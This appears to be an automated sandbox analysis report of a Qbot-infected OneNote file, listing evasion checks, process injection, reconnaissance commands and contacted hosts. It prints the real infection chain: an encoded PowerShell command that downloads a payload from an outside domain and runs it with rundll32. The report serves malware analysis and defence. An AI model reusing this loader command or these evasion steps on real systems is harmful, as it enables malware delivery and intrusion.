Source: C:\Windows\SysWOW64\backgroundTaskHost.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select Caption,Description,DeviceID,Manufacturer,Name,PNPDeviceID,Service,Status from Win32_PnPEntity
Renames NTDLL to bypass HIPS
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\ntdll.dll Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\ntdll.dll Jump to behavior
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_PhysicalMemory
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_DiskDrive
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_Bios
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2804 Thread sleep count: 7543 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2792 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7520 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 404 Thread sleep count: 8791 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7180 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 1444 Thread sleep count: 142 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe TID: 5168 Thread sleep time: -149000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe TID: 7316 Thread sleep time: -45000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7543 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 8791 Jump to behavior
Found evasive API chain checking for process token information
Source: C:\Windows\SysWOW64\rundll32.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\catroot2 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SYSTEM32\en-US\tzres.dll.mui Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\eed480a49b61c30993f5872af5a0685e\Microsoft.PowerShell.Security.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\ Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SYSTEM32\profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll Jump to behavior
Source: ARP.EXE, 00000017.00000002.8020169347.0000000002A47000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllY
Source: NETSTAT.EXE, 00000020.00000002.8034593703.000000000327A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll[
Source: net1.exe, 00000024.00000002.8037578363.0000000002BD8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: *Hyper-V Administrators
Source: ROUTE.EXE, 0000001E.00000002.8031561499.0000000003378000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: net1.exe, 00000024.00000002.8037578363.0000000002BD8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V Administrators
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_1000AFB9 GetSystemInfo, 13_2_1000AFB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_1000C547 FindFirstFileW,FindNextFileW, 13_2_1000C547
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_1000970D LoadLibraryA,GetProcAddress, 13_2_1000970D
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_3_043B222E mov eax, dword ptr fs:[00000030h] 13_3_043B222E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_693417F4 mov eax, dword ptr fs:[00000030h] 13_2_693417F4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_100010A0 mov eax, dword ptr fs:[00000030h] 13_2_100010A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_100026E5 mov eax, dword ptr fs:[00000030h] 13_2_100026E5
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process token adjusted: Debug
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process token adjusted: Debug
Source: C:\Windows\SysWOW64\whoami.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\whoami.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\whoami.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_693720E0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort, 13_2_693720E0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_693720DC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort, 13_2_693720DC

HIPS / PFW / Operating System Protection Evasion
barindex
Maps a DLL or memory area into another process
Source: C:\Windows\SysWOW64\rundll32.exe Section loaded: unknown target: C:\Windows\SysWOW64\backgroundTaskHost.exe protection: execute and read and write Jump to behavior
Allocates memory in foreign processes
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: C:\Windows\SysWOW64\backgroundTaskHost.exe base: 28A0000 protect: page read and write Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\SysWOW64\backgroundTaskHost.exe base: 28A0000 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\SysWOW64\backgroundTaskHost.exe base: 201790 Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell [system.text.encoding]::ascii.getstring([system.convert]::frombase64string('dqpazwnobybvzmyncnbvd2vyc2hlbgwgsw52b2tllvdlyljlcxvlc3qglvvsssbodhrwczovl3rhc3nvaw5tb2jpbglhcmlhlmnvbs81nkcwlzaxlmdpziatt3v0rmlszsbdolxwcm9ncmftzgf0yvxwdxr0es5qcgcncnj1bmrsbdmyiem6xhbyb2dyyw1kyxrhxhb1dhr5lmpwzyxxaw5kdqplegl0dqo='))
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell [system.text.encoding]::ascii.getstring([system.convert]::frombase64string('dqpazwnobybvzmyncnbvd2vyc2hlbgwgsw52b2tllvdlyljlcxvlc3qglvvsssbodhrwczovl3rhc3nvaw5tb2jpbglhcmlhlmnvbs81nkcwlzaxlmdpziatt3v0rmlszsbdolxwcm9ncmftzgf0yvxwdxr0es5qcgcncnj1bmrsbdmyiem6xhbyb2dyyw1kyxrhxhb1dhr5lmpwzyxxaw5kdqplegl0dqo=')) Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('DQpAZWNobyBvZmYNCnBvd2Vyc2hlbGwgSW52b2tlLVdlYlJlcXVlc3QgLVVSSSBodHRwczovL3Rhc3NvaW5tb2JpbGlhcmlhLmNvbS81NkcwLzAxLmdpZiAtT3V0RmlsZSBDOlxwcm9ncmFtZGF0YVxwdXR0eS5qcGcNCnJ1bmRsbDMyIEM6XHByb2dyYW1kYXRhXHB1dHR5LmpwZyxXaW5kDQpleGl0DQo=')) Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K C:\ProgramData\in.cmd Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -URI https://tassoinmobiliaria.com/56G0/01.gif -OutFile C:\programdata\putty.jpg Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\rundll32.exe rundll32 C:\programdata\putty.jpg,Wind Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\backgroundTaskHost.exe C:\Windows\SysWOW64\backgroundTaskHost.exe Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\net.exe net view Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c set Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\ARP.EXE arp -a Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\net.exe net share Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\ROUTE.EXE route print Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -nao Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\net.exe net localgroup Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\whoami.exe whoami /all Jump to behavior
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 share Jump to behavior
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoA,CoInitializeEx,Sleep, 13_2_1000169F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoA, 13_2_10002C5E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoA, 13_2_10012137
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoA, 13_2_1000338F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoA, 13_2_1000FFF2
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_69372030 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter, 13_2_69372030
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_1000B231 GetCurrentProcessId,GetLastError,GetVersionExA,GetWindowsDirectoryW, 13_2_1000B231
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
AV process strings found (often used to terminate AV products)
Source: rundll32.exe, 0000000D.00000003.5700072270.000000000474F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: bdagent.exe
Source: rundll32.exe, 0000000D.00000003.5700072270.000000000474F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vsserv.exe
Source: rundll32.exe, 0000000D.00000003.5700072270.000000000474F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: avp.exe
Source: rundll32.exe, 0000000D.00000003.5700072270.000000000474F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: avgcsrvx.exe
Source: rundll32.exe, 0000000D.00000003.5700072270.000000000474F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: mcshield.exe
Source: rundll32.exe, 0000000D.00000003.5700072270.000000000474F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Qbot
Source: Yara match File source: 13.2.rundll32.exe.10000000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.aed640.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.aed640.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000D.00000002.5726437418.0000000000ADA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Gathers network related connection and port information
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -nao
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -nao Jump to behavior

Remote Access Functionality
barindex
Yara detected Qbot
Source: Yara match File source: 13.2.rundll32.exe.10000000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.aed640.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.aed640.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000D.00000002.5726437418.0000000000ADA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 800757 Sample: Note.one Startdate: 07/02/2023 Architecture: WINDOWS Score: 100 81 www.broadcom.com 2->81 83 tassoinmobiliaria.com 2->83 85 2 other IPs or domains 2->85 91 Malicious sample detected (through community Yara rule) 2->91 93 Yara detected Qbot 2->93 95 Sigma detected: Execute DLL with spoofed extension 2->95 97 2 other signatures 2->97 12 cmd.exe 2 2->12         started        16 ONENOTE.EXE 91 501 2->16         started        18 ONENOTEM.EXE 2->18         started        20 msiexec.exe 2->20         started        signatures3 process4 file5 77 C:\ProgramData\in.cmd, ASCII 12->77 dropped 117 Suspicious powershell command line found 12->117 22 cmd.exe 1 12->22         started        24 powershell.exe 7 12->24         started        27 conhost.exe 12->27         started        29 ONENOTEM.EXE 3 16->29         started        signatures6 process7 signatures8 31 rundll32.exe 22->31         started        33 powershell.exe 14 16 22->33         started        37 conhost.exe 22->37         started        99 Powershell drops PE file 24->99 process9 dnsIp10 39 rundll32.exe 1 31->39         started        79 tassoinmobiliaria.com 148.163.69.171, 443, 49827 IOFLOODUS United States 33->79 73 C:\ProgramData\putty.jpg, PE32 33->73 dropped file11 process12 file13 75 C:\Users\user\AppData\Local\...\6153a066.dll, PE32 39->75 dropped 101 DLL reload attack detected 39->101 103 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 39->103 105 Writes to foreign memory regions 39->105 107 3 other signatures 39->107 43 backgroundTaskHost.exe 8 16 39->43         started        signatures14 process15 dnsIp16 87 87.149.176.97, 443, 49838, 49840 DTAGInternetserviceprovideroperationsDE Germany 43->87 89 broadcom.com 50.112.202.115, 443, 49836 AMAZON-02US United States 43->89 109 Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines) 43->109 111 Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines) 43->111 113 Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines) 43->113 115 8 other signatures 43->115 47 net.exe 1 43->47         started        49 net.exe 43->49         started        51 ROUTE.EXE 1 43->51         started        53 6 other processes 43->53 signatures17 process18 process19 55 conhost.exe 47->55         started        57 net1.exe 1 47->57         started        59 conhost.exe 49->59         started        61 net1.exe 49->61         started        63 conhost.exe 51->63         started        65 conhost.exe 53->65         started        67 conhost.exe 53->67         started        69 conhost.exe 53->69         started        71 3 other processes 53->71
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
87.149.176.97
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
148.163.69.171
 tassoinmobiliaria.com United States
53755 IOFLOODUS false
50.112.202.115
 broadcom.com United States
16509 AMAZON-02US false

Contacted Domains

Name IP Active
tassoinmobiliaria.com 148.163.69.171 true
broadcom.com 50.112.202.115 true
www.broadcom.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://87.149.176.97/t5 false
  • Avira URL Cloud: safe
 unknown
https://tassoinmobiliaria.com/56G0/01.gif false
  • Avira URL Cloud: safe
 unknown
https://broadcom.com/ false
    		high